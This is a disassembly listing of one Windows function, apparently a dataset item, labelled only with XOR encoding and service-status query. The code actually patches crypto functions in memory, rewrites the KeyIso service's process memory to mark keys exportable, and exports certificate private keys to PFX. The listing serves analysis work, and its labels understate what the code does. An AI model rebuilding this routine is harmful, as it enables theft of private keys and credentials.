Function at 0x140002af8
Capabilities:
Encode data using xor
Query service status

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x27]
sub rsp, 0xd0
mov r14, r8
mov dword [rbp - 0x31], 4
mov r13, rdx
lea r8, [rbp - 0x59]
mov edx, 6
lea r9, [rbp - 0x31]
mov r15, rcx
call qword [sym.imp.CRYPT32.dll_CertGetCertificateContextProperty]
test eax, eax
je 0x140002d59
lea rax, [rbp - 0x19]
xor r8d, r8d
mov qword [rsp + 0x28], rax
lea r9, [rbp - 0x11]
lea rax, [rbp - 0x59]
mov edx, 0x10040
mov rcx, r15
mov qword [rsp + 0x20], rax
call qword [sym.imp.CRYPT32.dll_CryptAcquireCertificatePrivateKey]
test eax, eax
je 0x140002d59
and qword [rbp - 0x61], 0
and dword [rbp - 0x69], 0
mov edx, dword [rbp - 0x59]
mov r12, qword [rbp - 0x11]
cmp edx, 0xffffffff
je 0x140002d76
lea r8, [rbp - 0x39]
mov rcx, r12
call qword [sym.imp.ADVAPI32.dll_CryptGetUserKey]
test eax, eax
je 0x140002d59
mov r8, qword [rbp - 0x39]
lea rax, [rbp - 0x69]
mov edx, dword [rbp - 0x59]
lea r9, [rbp - 0x61]
mov rcx, r12
mov qword [rsp + 0x20], rax
call fcn.140002fb8
test al, al
je 0x140002d59
mov ebx, 0xb
mov dword [rbp - 0x51], 0x61766066
mov ecx, ebx
mov dword [rbp - 0x4d], 0x773d2120
mov word [rbp - 0x49], 0x7f7f
mov byte [rbp - 0x47], 0x13
call fcn.14000257c
lea r8, [rbp - 0x51]
mov rdx, rax
sub r8, rax
lea edi, [rbx - 0xa]
mov cl, byte [r8 + rdx]
xor cl, 0x13
mov byte [rdx], cl
add rdx, rdi
sub rbx, rdi
jne 0x140002bf6
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
movdqa xmm0, xmmword [0x140014710]
mov ebx, 0x10
mov ecx, ebx
mov rsi, rax
movdqu xmmword [rbp - 0x51], xmm0
call fcn.14000257c
lea r8, [rbp - 0x51]
mov rdx, rax
sub r8, rax
mov cl, byte [r8 + rdx]
xor cl, 0x13
mov byte [rdx], cl
add rdx, rdi
sub rbx, rdi
jne 0x140002c36
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
and dword [rbp - 0x65], 0
lea r9, [rbp - 0x65]
mov esi, 3
mov word [rbp + 0x7f], 0xc031
mov edx, esi
mov byte [rbp + 0x81], 0xc3
mov rcx, rax
mov rbx, rax
lea r8d, [rsi + 0x3d]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, esi
lea rcx, [rbp - 0x41]
mov rdx, rbx
call fcn.1400024f8
mov r8d, esi
lea rdx, [rbp + 0x7f]
mov rcx, rbx
call fcn.1400024f8
mov r8d, dword [rbp - 0x65]
xor r9d, r9d
mov edx, esi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r13, qword [rbp - 0x61]
lea rax, [rbp - 0x69]
mov rcx, qword [rbp - 0x39]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor edx, edx
mov qword [rsp + 0x20], r13
lea esi, [r9 + 7]
mov r8d, esi
call qword [sym.imp.ADVAPI32.dll_CryptExportKey]
test eax, eax
je 0x140002d59
lea r9, [rbp - 0x65]
mov rcx, rbx
lea edx, [rsi - 4]
lea r8d, [rsi + 0x39]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea r8d, [rsi - 4]
mov rcx, rbx
lea rdx, [rbp - 0x41]
call fcn.1400024f8
mov r8d, dword [rbp - 0x65]
lea edx, [rsi - 4]
xor r9d, r9d
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r9d, edi
mov dword [rsp + 0x20], 0xf0000008
xor r8d, r8d
lea rcx, [rbp - 0x29]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x140002d59
mov r8d, dword [rbp - 0x69]
lea rax, [rbp - 0x21]
mov rcx, qword [rbp - 0x29]
xor r9d, r9d
mov qword [rsp + 0x28], rax
mov rdx, r13
mov dword [rsp + 0x20], edi
call qword [sym.imp.ADVAPI32.dll_CryptImportKey]
test eax, eax
jne 0x140002f17
xor al, al
mov rbx, qword [rsp + 0x110]
add rsp, 0xd0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
mov edi, 1
xor edx, edx
mov r8d, edi
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
lea esi, [rdi + 6]
mov dword [rbp - 0x61], 0x5a6a7658
mov ecx, esi
mov word [rbp - 0x5d], 0x7c60
mov rbx, rax
mov byte [rbp - 0x5b], 0x13
call fcn.14000257c
lea r8, [rbp - 0x61]
mov rdx, rax
sub r8, rax
mov r9d, esi
mov cl, byte [r8 + rdx]
xor cl, 0x13
mov byte [rdx], cl
add rdx, rdi
sub r9, rdi
jne 0x140002db3
lea r8d, [r9 + 4]
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
lea rcx, [rbp - 0x41]
mov r9d, 0x24
mov qword [rsp + 0x20], rcx
lea r8, [rbp - 1]
mov rcx, rax
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
mov r8d, dword [rbp + 0x1b]
xor edx, edx
lea ecx, [rdx + 0x38]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov ecx, dword [r12 + 0x10]
lea r8, [rbp - 0x65]
mov rbx, rax
mov r9d, 4
lea rax, [rbp - 0x39]
mov qword [rsp + 0x20], rax
mov rdx, qword [rcx]
mov rcx, rbx
add rdx, 0x28
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov edx, dword [rbp - 0x65]
lea rax, [rbp - 0x39]
add edx, 0x28
mov qword [rsp + 0x20], rax
mov r9, rdi
lea r8, [rbp + 0x7f]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov edx, dword [rbp - 0x65]
lea rax, [rbp - 0x39]
or byte [rbp + 0x7f], 2
lea r8, [rbp + 0x7f]
add edx, 0x28
mov qword [rsp + 0x20], rax
mov r9, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor ecx, ecx
lea rax, [rbp - 0x69]
mov dword [rsp + 0x38], ecx
lea r8, str.CAPIPRIVATEBLOB
mov qword [rsp + 0x30], rax
xor r9d, r9d
mov dword [rsp + 0x28], ecx
xor edx, edx
mov qword [rsp + 0x20], rcx
mov rcx, r12
call sub.ncrypt.dll_NCryptExportKey
mov ecx, dword [rbp - 0x69]
call fcn.1400024a8
and dword [rsp + 0x38], 0
lea r8, str.CAPIPRIVATEBLOB
mov ecx, dword [rbp - 0x69]
mov rbx, rax
lea rax, [rbp - 0x69]
xor r9d, r9d
mov qword [rsp + 0x30], rax
xor edx, edx
mov dword [rsp + 0x28], ecx
mov rcx, r12
mov qword [rsp + 0x20], rbx
call sub.ncrypt.dll_NCryptExportKey
xor r8d, r8d
lea rdx, str.Microsoft_Software_Key_Storage_Provider
lea rcx, [rbp - 0x21]
call sub.ncrypt.dll_NCryptOpenStorageProvider
and dword [rsp + 0x38], 0
lea r8, str.CAPIPRIVATEBLOB
mov eax, dword [rbp - 0x69]
xor r9d, r9d
mov rcx, qword [rbp - 0x21]
xor edx, edx
mov dword [rsp + 0x30], eax
lea rax, [rbp - 0x51]
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rax
call sub.ncrypt.dll_NCryptImportKey
jmp 0x140002f1b
mov r13, qword [rbp + 0x6f]
and qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 0x10001
lea ecx, [r9 + 2]
call qword [sym.imp.CRYPT32.dll_CertOpenStore]
and qword [rbp - 9], 0
lea r9, [rbp - 9]
mov rcx, rax
mov r8d, edi
mov rdx, r15
mov rbx, rax
call qword [sym.imp.CRYPT32.dll_CertAddCertificateLinkToStore]
cmp dword [rbp - 0x59], 0xffffffff
mov rcx, r15
mov r9, qword [rbp - 0x29]
cmove r9, r12
xor r8d, r8d
lea edx, [r8 + 0x4f]
call qword [sym.imp.CRYPT32.dll_CertSetCertificateContextProperty]
and qword [r14 + 8], 0
xor r9d, r9d
and dword [r14], 0
mov r8, r13
mov rdx, r14
mov dword [rsp + 0x20], esi
mov rcx, rbx
call qword [sym.imp.CRYPT32.dll_PFXExportCertStoreEx]
mov ecx, dword [r14]
call fcn.1400024a8
xor r9d, r9d
mov qword [r14 + 8], rax
mov r8, r13
mov dword [rsp + 0x20], esi
mov rdx, r14
mov rcx, rbx
call qword [sym.imp.CRYPT32.dll_PFXExportCertStoreEx]
mov al, dil
jmp 0x140002d5b